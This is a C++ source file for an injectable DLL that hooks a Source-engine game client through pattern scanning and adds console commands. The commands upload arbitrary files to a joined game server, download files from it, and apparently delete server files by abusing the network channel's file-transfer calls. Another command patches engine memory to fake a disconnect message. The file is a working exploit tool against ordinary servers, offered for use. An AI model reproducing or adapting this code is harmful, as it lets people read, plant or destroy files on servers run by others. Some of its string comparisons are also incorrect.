#define CLIENT_DLL

#include <stdio.h>
#include <iostream>
#include <sstream>
#include <cstdio>
#include <stdlib.h>
#include <string>
#include <algorithm>
#include <cstdlib>
#include <cmath>
#include <Windows.h>
#include <String>
#include <tlhelp32.h>
#include <fstream>
#include <winsock.h>
#pragma comment( lib, "winmm.lib" )
#pragma comment( lib, "wininet.lib" )
#include <wininet.h>
#include <cmath>
#include <ctime>

#include "interface.h"
#include "filesystem.h"
#include "con_nprint.h"
#include "engine/iserverplugin.h"
#include "eiface.h"
#include "igameevents.h"
#include "convar.h"
#include "vstdlib/random.h"
#include "toolframework/ienginetool.h"
#include "Color.h"
#include "vstdlib/random.h"
#include "engine/IEngineTrace.h"
#include "game/server/iplayerinfo.h"
#include "tier1/tier1.h"
#include "tier2/tier2.h"
#include "tier3/tier3.h"
#include "cdll_int.h"
#include "gametrace.h"
#include "iachievementmgr.h"
#include "inetchannel.h"
#include "icliententity.h"
#include "icliententitylist.h"
//#include "icvar.h"
#include "tier1/convar.h"
#include "playerinfomanager.h"
#ifdef WIN32
    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
#else
    #include <dlfcn.h>
    #include <sys/types.h>
    #include <sys/stat.h> 
#endif

#include "tier0/memdbgon.h"

// Interfaces from the engine
IVEngineServer	*engine = NULL; // helper functions (messaging clients, loading content, making entities, running commands, etc)
IGameEventManager *gameeventmanager = NULL; // game events interface
IPlayerInfoManager *playerinfomanager = NULL; // game dll interface to interact with players
IBotManager *botmanager = NULL; // game dll interface to interact with bots
IServerPluginHelpers *helpers = NULL; // special 3rd party plugin helpers from the engine
IUniformRandomStream *randomStr = NULL;
IEngineTrace *enginetrace = NULL;

IVEngineClient *enginecl = NULL;
IFileSystem *filesystem = NULL;
CGlobalVars *gpGlobals = NULL;
IClientEntityList *cl_list;
IClientEntity *cl_ent;

void InitCVars( CreateInterfaceFn cvarFactory );

using namespace std;

void __cdecl add_log (char *fmt, ...);
void ThreadThis(void);

bool bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask)
{
	for(;*szMask;++szMask,++pData,++bMask)
		if(*szMask=='x' && *pData!=*bMask )
			return false;
	return (*szMask) == NULL;
}

std::string repeat(const std::string& str, int n)
{
		std::string s;
    for (int i = 0; i < n; i++) {
        s += str;
    }
    return s;
}

BOOL APIENTRY DllMain(HMODULE hDll, DWORD dwReason, LPVOID lpReserved)
{
	switch(dwReason)
	{
	case DLL_PROCESS_ATTACH:
		DisableThreadLibraryCalls(hDll);
		CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ThreadThis, 0, 0, 0);
		break;
	}
	return TRUE;
}

DWORD dwFindPattern(DWORD dwAddress,DWORD dwLen, BYTE *bMask, char * szMask) {
	for(DWORD i=0;i<dwLen;i++)
		if( bDataCompare( (BYTE*)( dwAddress+i ),bMask,szMask) )
			return (DWORD)(dwAddress+i);
	return NULL;
}

#pragma comment(lib, "user32.lib")

byte *getModuleBase(TCHAR *lpModName);
// useful helper func
inline bool FStrEq(const char *sz1, const char *sz2)
{
	return(Q_stricmp(sz1, sz2) == 0);
}

void ThreadThis(void)
{	
	while(!GetModuleHandle("client.dll") || !GetModuleHandle("engine.dll"))
	{
		Sleep(1000);
	}
	
	HMODULE hEngine = GetModuleHandle( "engine.dll" );

	CreateInterfaceFn pClientDLL = (CreateInterfaceFn)GetProcAddress(GetModuleHandle("client.dll"), "CreateInterface");
	CreateInterfaceFn pEngineDLL = (CreateInterfaceFn)GetProcAddress(GetModuleHandle("engine.dll"), "CreateInterface");
	CreateInterfaceFn AppFactoryInterface = (CreateInterfaceFn)dwFindPattern((DWORD)hEngine, (DWORD)hEngine, (BYTE*)"\x8B\x44\x24\x04\x8B\x0D\x00\x00\x00\x00\x50\xE8\x00\x00\x00\x00\x8B\x4C\x24\x08\x85\xC9\x74\x09","xxxxxx????xx????xxxxxxxx");
	CreateInterfaceFn pVSTLDLL = (CreateInterfaceFn)GetProcAddress(GetModuleHandle( "vstdlib.dll" ), "CreateInterface");

	engine = (IVEngineServer*)pEngineDLL(INTERFACEVERSION_VENGINESERVER, NULL);
	enginecl = (IVEngineClient *)pEngineDLL(VENGINE_CLIENT_INTERFACE_VERSION, NULL );
	filesystem = (IFileSystem*)pEngineDLL(FILESYSTEM_INTERFACE_VERSION, NULL);
	g_pCVar = (ICvar*)pVSTLDLL(CVAR_INTERFACE_VERSION, 0);
	cl_list = (IClientEntityList *)pClientDLL(VCLIENTENTITYLIST_INTERFACE_VERSION, 0);

	MathLib_Init( 2.2f, 2.2f, 0.0f, 2.0f );

	ConVar_Register(0);

	Sleep(1000);
	
	pfDisconnect = dwFindPattern((DWORD)hEngine, (DWORD)hEngine+0x2A0000, (BYTE*)"\x44\x69\x73\x63\x6F\x6E\x6E\x65\x63\x74\x20\x62\x79\x20\x75\x73\x65\x72\x2E","xxxxxxxxxxxxxxxxxxx" );

	ConColorMsg(Color(0,255,0,255),"Injected\nType \"Update_Commands\" for a list of commands.");
	ConColorMsg(Color(0,255,0,255),"\n\n\nEngine Base Address: %p\nDisconnect address: %p\n\n", hEngine, pfDisconnect);
}

//-------------------------------
//OpenScript Command, Thread Starting
//-------------------------------

CON_COMMAND( Update_Commands, "Shows all avaliable commands and help" )
{
	ConColorMsg(Color(0,255,0,255),"Commands:\n");
	ConColorMsg(Color(255,0,0,255),"    File_Commands - Shows all avaliable commands\n");
	ConColorMsg(Color(255,0,0,255),"    File_Credits - Display the credits\n");
	ConColorMsg(Color(255,0,0,255),"    File_Upload <path to file>\n");
	ConColorMsg(Color(255,0,0,255),"    File_Delete <path to file>\n");
	ConColorMsg(Color(255,0,0,255),"    File_Download <path to file>\n");
	ConColorMsg(Color(255,0,0,255),"    Custom_Disconnect <message>\n");
}

CON_COMMAND( Update_Credits, "Display the credits" )
{
	ConColorMsg(Color(0,255,0,255),"Created by [NIN] and CrzYMikE\n");
	ConColorMsg(Color(255,0,0,255),"    [NIN] - http://steamcommunity.com/profiles/76561198035531982/ \n");
	ConColorMsg(Color(255,0,0,255),"    CrzYMikE - https://steamcommunity.com/profiles/76561198002516655 \n");
}

CON_COMMAND( File_Upload, "Upload a file to the server" )
{
	if(args.Arg(1)=="")
	{
		Warning("Usage: File_Upload <path to file>\n");
		return;
	}
	if(!enginecl->IsInGame())
	{
		Warning("Join a server first.\n");
		return;
	}

	INetChannel *channel = (INetChannel *)enginecl->GetNetChannelInfo();
	channel->SendFile(args.Arg(1),1);
	Msg("Successfully uploaded %s\n",args.Arg(1));
	enginecl->Con_NPrintf(0,"Sucessfully uploaded %s",args.Arg(1));
}

CON_COMMAND( File_Delete, "Delete a file from the server" )
{
	if(args.Arg(1)=="")
	{
		Warning("Usage: File_Delete <argument>\n");
		return;
	}

	if(!enginecl->IsInGame())
	{
		Warning("Join a server first.\n");
		return;
	}
	
	char DeleteMe[MAX_PATH] = "";
	if(!strstr(args.Arg(1),"/fucked.txt"))
	{
		strcat(DeleteMe,args.Arg(1));
		strcat(DeleteMe,"/fucked.txt");
	}
	else
	{
		strcat(DeleteMe,args.Arg(1));
	}
	
	INetChannel *channel = (INetChannel *)enginecl->GetNetChannelInfo();
	channel->SendFile(DeleteMe,1);

	Msg("Successfully deleted file\n");

	enginecl->Con_NPrintf(0,"Sucessfully deleted file.");
}

CON_COMMAND( File_Download, "Download a file from the server." )
{
	if(!enginecl->IsInGame())
	{
		Warning("Join A Server First.\n");
		return;
	}
    
	if(args.Arg(1)=="")
	{
		Warning("Usage: File_Download <file>");
		return;
	}
 
	INetChannel *channel = (INetChannel *)enginecl->GetNetChannelInfo();
	channel->RequestFile(args.Arg(1));

	Warning( "Downloaded file %s\n", args.Arg(1));
	enginecl->Con_NPrintf(0,"%s has been downloaded.",args.Arg(1));
}

CON_COMMAND(Custom_Disconnec, "Set a custom disconnect message")
{
	DWORD dwOldProtect;
	DWORD dwAddress = pfDisconnect;
	unsigned int i;

	const char *custom_msg = args.Arg(1);
	if(custom_msg=="")
	{
		custom_msg="Disconnected By User";
	}

   std::stringstream x;
   x << custom_msg;
   char *msgBuff = strdup(x.str().c_str());

   VirtualProtect((PVOID)(dwAddress), 256, PAGE_EXECUTE_READWRITE, &dwOldProtect);

   for(i=0;i<=(strlen(msgBuff)-1);i++)
   {
       memcpy((PVOID)(dwAddress+i),(void *)&msgBuff[i],1);
   }   
   char none = '\0';
   memcpy((PVOID)(dwAddress+strlen(msgBuff)),(void *)&none,1);
   free(msgBuff);
   Sleep(100);
   engine->ServerCommand("disconnect\n");
   Sleep(500);

   std::stringstream original;
   original << "Disconnected By User"; 

   char *msgBufforiginal = strdup(original.str().c_str());

   VirtualProtect((PVOID)(dwAddress), 256, PAGE_EXECUTE_READWRITE, &dwOldProtect);

   for(i=0;i<=(strlen(msgBufforiginal)-1);i++)
   {
       memcpy((PVOID)(dwAddress+i),(void *)&msgBufforiginal[i],1);
   }

   memcpy((PVOID)(dwAddress+strlen(msgBufforiginal)),(void *)&none,1);
   free(msgBufforiginal);
}